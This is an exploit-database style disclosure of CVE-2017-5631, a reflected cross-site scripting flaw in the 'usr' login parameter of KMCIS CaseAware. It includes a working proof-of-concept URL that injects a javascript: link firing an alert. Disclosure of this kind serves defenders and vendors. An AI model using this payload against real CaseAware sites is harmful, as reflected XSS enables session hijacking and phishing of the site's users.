KMCIS CaseAware - Cross-Site Scripting

# Exploit Title: CaseAware Cross Site Scripting Vulnerability
# Date: 20th May 2017
# Exploit Author: justpentest
# Vendor Homepage: https://caseaware.com/
# Version: All the versions
# Contact: [email protected]
# CVE : 2017-5631

Source: https://nvd.nist.gov/vuln/detail/CVE-2017-5631#vulnDescriptionTitle

1) Description:
An issue with respect to input sanitization was discovered in KMCIS
CaseAware. Reflected cross site scripting is present in the user parameter
(i.e., "usr") that is transmitted in the login.php query string. So
bascially username parameter is vulnerable to XSS.

2) Exploit:

https://caseaware.abc.com:4322/login.php?mid=0&usr=admin'><a
HREF="javascript:alert('OPENBUGBOUNTY')">Click_ME<'
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3) References:

https://www.openbugbounty.org/incidents/228262/
https://nvd.nist.gov/vuln/detail/CVE-2017-5631#vulnDescriptionTitle